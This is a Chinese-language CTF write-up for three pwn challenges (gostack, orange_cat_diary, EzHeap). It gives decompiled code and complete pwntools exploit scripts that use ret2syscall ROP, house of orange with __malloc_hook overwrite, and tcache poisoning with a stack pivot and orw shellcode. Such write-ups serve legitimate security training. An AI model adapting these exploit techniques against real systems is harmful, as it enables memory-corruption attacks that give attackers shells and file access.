ciscn_pwn
gostack
栈溢出,存在一个可以执行的命令的backdoor函数,用了下有些问题,就打ret2syscall了,栈上有一个strings结构体要伪造一下,syscall read到一个可以写的段,写binsh然后syscall execve getshell
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "8.147.133.9"
PORT = 17425
elf = context.binary = ELF('./gostack')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
rax = 0x000000000040f984
rdi_r14_r13_r12_rbp_rbx = 0x00000000004a18a5
rsi = 0x000000000042138a
rdx = 0x00000000004944ec
syscall = 0x0000000000404043
bss = 0x564000
payload = b'a' * 0x100
payload += p64(bss + 0x50)
payload += p64(0x50)
payload += b'a' * 0x20
payload += p64(bss)
payload += p64(0x100)
payload += b'a' * 0x90
payload += p64(rdi_r14_r13_r12_rbp_rbx)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(rax)
payload += p64(0)
payload += p64(rsi)
payload += p64(bss)
payload += p64(rdx)
payload += p64(8)
payload += p64(syscall)
payload += p64(rax)
payload += p64(0x3b)
payload += p64(rsi)
payload += p64(0)
payload += p64(rdi_r14_r13_r12_rbp_rbx)
payload += p64(bss)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(rdx)
payload += p64(0)
payload += p64(syscall)
sla('message',payload)
# g(p)
time.sleep(0.3)
s(b'/bin/sh\x00')
p.interactive()
orange_cat_diary
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int choice; // eax
char s[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
sub_B26(a1, a2, a3);
puts("Hello, I'm delighted to meet you. Please tell me your name.");
memset(s, 0, 0x20uLL);
read(0, s, 0x1FuLL);
printf("Sweet %s, please record your daily stories.\n", s);
while ( 1 )
{
while ( 1 )
{
menu();
choice = get_choice();
if ( choice != 2 )
break;
show();
}
if ( choice > 2 )
{
if ( choice == 3 )
{
delete();
}
else if ( choice == 4 )
{
edit();
}
}
else if ( choice == 1 )
{
add();
}
}
}
int menu()
{
puts("\n##orange_cat_diary##\n");
puts("1.Add diary");
puts("2.Show diary");
puts("3.Delete diary");
puts("4.Edit diary");
puts("5.Exit");
return printf("Please input your choice:");
}
__int64 sub_DE9()
{
if ( dword_202014 > 0 )
{
fwrite(ptr, 1uLL, dword_202058, stdout);
--dword_202014;
}
puts("Diary view successful.");
return 0LL;
}
__int64 sub_D83()
{
if ( dword_202010 > 0 )
{
free(ptr);
--dword_202010;
}
puts("Diary deletion successful.");
return 0LL;
}
__int64 sub_CD9()
{
int choice; // [rsp+4h] [rbp-Ch]
printf("Please input the length of the diary content:");
choice = get_choice();
if ( dword_202058 + 8 < (unsigned int)choice )
{
puts("The diary content exceeds the maximum length allowed.");
exit(1);
}
puts("Please enter the diary content:");
read(0, ptr, choice);
puts("Diary modification successful.");
return 0LL;
}
__int64 sub_BF5()
{
int choice; // [rsp+4h] [rbp-Ch]
printf("Please input the length of the diary content:");
choice = get_choice();
if ( (unsigned int)choice > 0x1000 )
{
puts("The diary content exceeds the maximum length allowed.");
exit(1);
}
ptr = malloc(choice);
if ( !ptr )
{
puts("Memory allocation failed.");
exit(1);
}
dword_202058 = choice;
puts("Please enter the diary content:");
read(0, ptr, dword_202058);
puts("Diary addition successful.");
return 0LL;
}
利用堆溢出打house of orange拿到unsortedbin得到libc基地址,之后用那一次uaf的机会任意地址分配,错位字节绕过size检查 打malloc_hook为 one gadget就好了
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "8.147.128.251"
PORT = 43423
elf = context.binary = ELF('./orange_cat_diary')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
p.sendafter = lambda x, y: p.sendafter(x, y)
p.sendlineafter = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
def add(size,content):
p.sendlineafter("Please input your choice","1")
p.sendlineafter("Please input the length of the diary content:",str(size))
p.sendafter("Please enter the diary content:",content)
def show():
p.sendlineafter("Please input your choice","2")
def delete():
p.sendlineafter("Please input your choice","3")
def edit(size,content):
p.sendlineafter("Please input your choice","4")
p.sendlineafter("Please input the length of the diary content:",str(size))
p.sendafter("Please enter the diary content:",content)
ru("Hello, I'm delighted to meet you. Please tell me your name.")
payload = b'\x00' * 0x1f
s(payload)
add(0x38,b"AAAA\n")
edit(0x40,b"A" * 0x38 + p64(0xfc1))
add(0x1000,b'A') # hosue of orange
add(0x408,b'A')
show()
r(6)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x73d0365c5141 - 0x73d036200000)
success(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
add(0x68,b"BBBB\n")
delete()
edit(0x68,p64(malloc_hook - 0x23))
add(0x68,b"BBBB\n")
one_gadget = libc_base + 0xf03a4
add(0x68,b"a" * 0x13 + p64(one_gadget))
p.sendlineafter("Please input your choice","1")
# g(p)
p.sendlineafter("Please input the length of the diary content:",str(0x8))
p.interactive()
EzHeap
题目的逻辑是这样的
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-34h] BYREF
__int64 v4[6]; // [rsp+10h] [rbp-30h]
v4[5] = __readfsqword(0x28u);
init();
seccomp_init_0();
v4[0] = (__int64)malloc_heap;
v4[1] = (__int64)free_heap;
v4[2] = (__int64)edit_heap;
v4[3] = (__int64)show_heap;
v4[4] = (__int64)exit_programe;
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
if ( v3 <= 0 || v3 > 5 )
puts("Invalid choice");
else
((void (*)(void))v4[v3 - 1])();
}
}
unsigned __int64 malloc_heap()
{
unsigned int size; // [rsp+0h] [rbp-10h] BYREF
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
for ( i = 0; i <= 79 && *((_QWORD *)&chunk_list + i); ++i )
;
if ( i <= 79 )
{
printf("size:");
__isoc99_scanf("%d", &size);
if ( size >= 0x501 )
{
puts("error");
exit(0);
}
*((_QWORD *)&chunk_list + i) = malloc((int)size);
memset(*((void **)&chunk_list + i), 0, (int)size);
size_list[i] = (int)size;
printf("content:");
read(0, *((void **)&chunk_list + i), (int)size);
}
else
{
puts("full heap! ");
}
return v3 - __readfsqword(0x28u);
}
unsigned __int64 free_heap()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("idx:");
__isoc99_scanf("%d", &v1);
if ( v1 > 0x4F || !*((_QWORD *)&chunk_list + (int)v1) )
{
puts("error!");
exit(0);
}
free(*((void **)&chunk_list + (int)v1));
*((_QWORD *)&chunk_list + (int)v1) = 0LL;
return v2 - __readfsqword(0x28u);
}
unsigned __int64 edit_heap()
{
unsigned int idx; // [rsp+0h] [rbp-10h] BYREF
unsigned int size; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("idx:");
__isoc99_scanf("%d", &idx);
if ( idx > 0x4F || !*((_QWORD *)&chunk_list + (int)idx) )
{
puts("error!");
exit(0);
}
printf("size:");
__isoc99_scanf("%d", &size);
if ( size >= 0x501 )
{
puts("error");
exit(0);
}
printf("content:");
read(0, *((void **)&chunk_list + (int)idx), (int)size);
return v3 - __readfsqword(0x28u);
}
unsigned __int64 show_heap()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("idx:");
__isoc99_scanf("%d", &v1);
if ( v1 > 0x4F || !*((_QWORD *)&chunk_list + (int)v1) )
{
puts("error!");
exit(1);
}
printf("content:");
printf("%s", *((const char **)&chunk_list + (int)v1));
return v2 - __readfsqword(0x28u);
}
void __noreturn exit_programe()
{
exit(0);
}
有一个只允许orw的沙箱,glibc 2.35,存在堆溢出,首先是构造堆叠泄露libc基地址 tache key 和堆基地址,然后利用溢出打两次任意地址分配的tcache poison,第一次泄露出environ得到栈地址,然后找到栈帧的rbp和返回地址的位置,栈迁移到堆上rop,之后mprotect变成shellcode版本的orw
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "47.100.139.115"
PORT = 30708
elf = context.binary = ELF('./EzHeap')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
def add(size,content):
sla("choice","1")
sla("size:",str(size))
sa("content:",content)
def delete(idx):
sla("choice","2")
sla("idx:",str(idx))
def edit(idx,size,content):
sla("choice","3")
sla("idx:",str(idx))
sla("size:",str(size))
sa("content:",content)
def show(idx):
sla("choice","4")
sla("idx:",str(idx))
for i in range(6):
add(0x88,"AAAAAAAA")
# 6 - 12 tcache
# 13 heap overlap
# 14 chunk
# 15 unsorted bin
for i in range(11):
add(0x88,"BBBBBBBB")
edit(12,0x90,b'A' * 0x88 + p64(0x101))
for i in range(6,13):
delete(i)
delete(15)
delete(13)
add(0xf8,"BBBBBBBB")
edit(6,0x120,b'B' * 0x120)
show(6)
ru(b"B" * 0x120)
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x7dcae2a1ace0 - 0x7dcae2800000)
success(hex(libc_base))
edit(6,0x120,b'B' * 0x118 + p64(0x91))
environ = libc_base + libc.sym['__environ']
mprotect = libc_base + libc.sym['mprotect']
for i in range(7):
add(0x88,"AAAA")
add(0x88,"BBBB")
delete(16)
edit(6,0x1b0,b'B' * 0x1b0)
show(6)
ru(b'B' * 0x1b0)
leak = u64(p.recv(5).ljust(8)) << 12
heap_base = (leak & 0xffffffffffffff) - (0x57c9c5039000 - 0x57c9c5037000)
success(hex(heap_base))
edit(6,0x1b8,b'B' * 0x1a8 + b'B' * 8 + b'B' * 8)
show(6)
ru(b'B' * 0x1a8 + b'B' * 8 + b'B' * 8)
key = u64(r(8))
success(hex(key))
edit(6,0x1b8,b'B' * 0x1a8 + p64(0x91) + p64(heap_base >> 12))
add(0x88,"BBBB") # 16
add(0x88,"CCCC") # 17
delete(17)
delete(16)
pos = heap_base + 0x2940
target = (environ - 0x80) ^ (pos >>12)
edit(6,0x1b8,b'B' * 0x1a8 + p64(0x91) + p64(target))
add(0x88,"DDDD")
add(0x80,"D" * 0x80) # 17
show(17)
ru(b"D" * 0x80)
leak_stack = u64(r(6).ljust(8,b'\x00'))
success(hex(leak_stack))
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_r12_ret = libc_base + 0x000000000011f2e7
mprotect = libc_base + libc.sym['mprotect']
leave_ret = libc_base + 0x000000000004da83
rrr = heap_base + 0x2aa8 + 0x8
payload = p64(pop_rdi_ret) + p64(heap_base) + p64(pop_rsi_ret) + p64(0x21000 + 0x1000) + p64(pop_rdx_r12_ret) + p64(7) + p64(0) + p64(mprotect)
payload += p64(rrr)
payload += b'./flag\x00\x00'
payload += asm(f'''
mov rdi,{rrr - 0x8}
mov rsi,0
mov rax,2
syscall
mov rdi,3
mov rsi,{rrr - 0x100}
mov rdx,0x40
mov rax,0
syscall
mov rdi,1
mov rsi,{rrr - 0x100}
mov rdx,0x40
mov rax,1
syscall
''')
payload_addr = heap_base + (0x6219f663ba60 - 0x6219f6639000)
add(0x200,payload)
edit(6,0x100,b'a' * 0x88 + p64(0x91) + b'\x00' * 0x10)
delete(16)
delete(14)
rbp = leak_stack - (0x7ffedc8a1868 - 0x7ffedc8a16f0)
pos = heap_base + (0x56576dc75820 - 0x56576dc73000)
target = rbp ^ (pos >> 12)
edit(6,0x100,b'a' * 0x88 + p64(0x91) + p64(target))
success(hex(leak_stack))
add(0x88,p64(0x114514) * 2)
# g(p)
add(0x88,p64(payload_addr - 0x8) + p64(leave_ret))
p.interactive()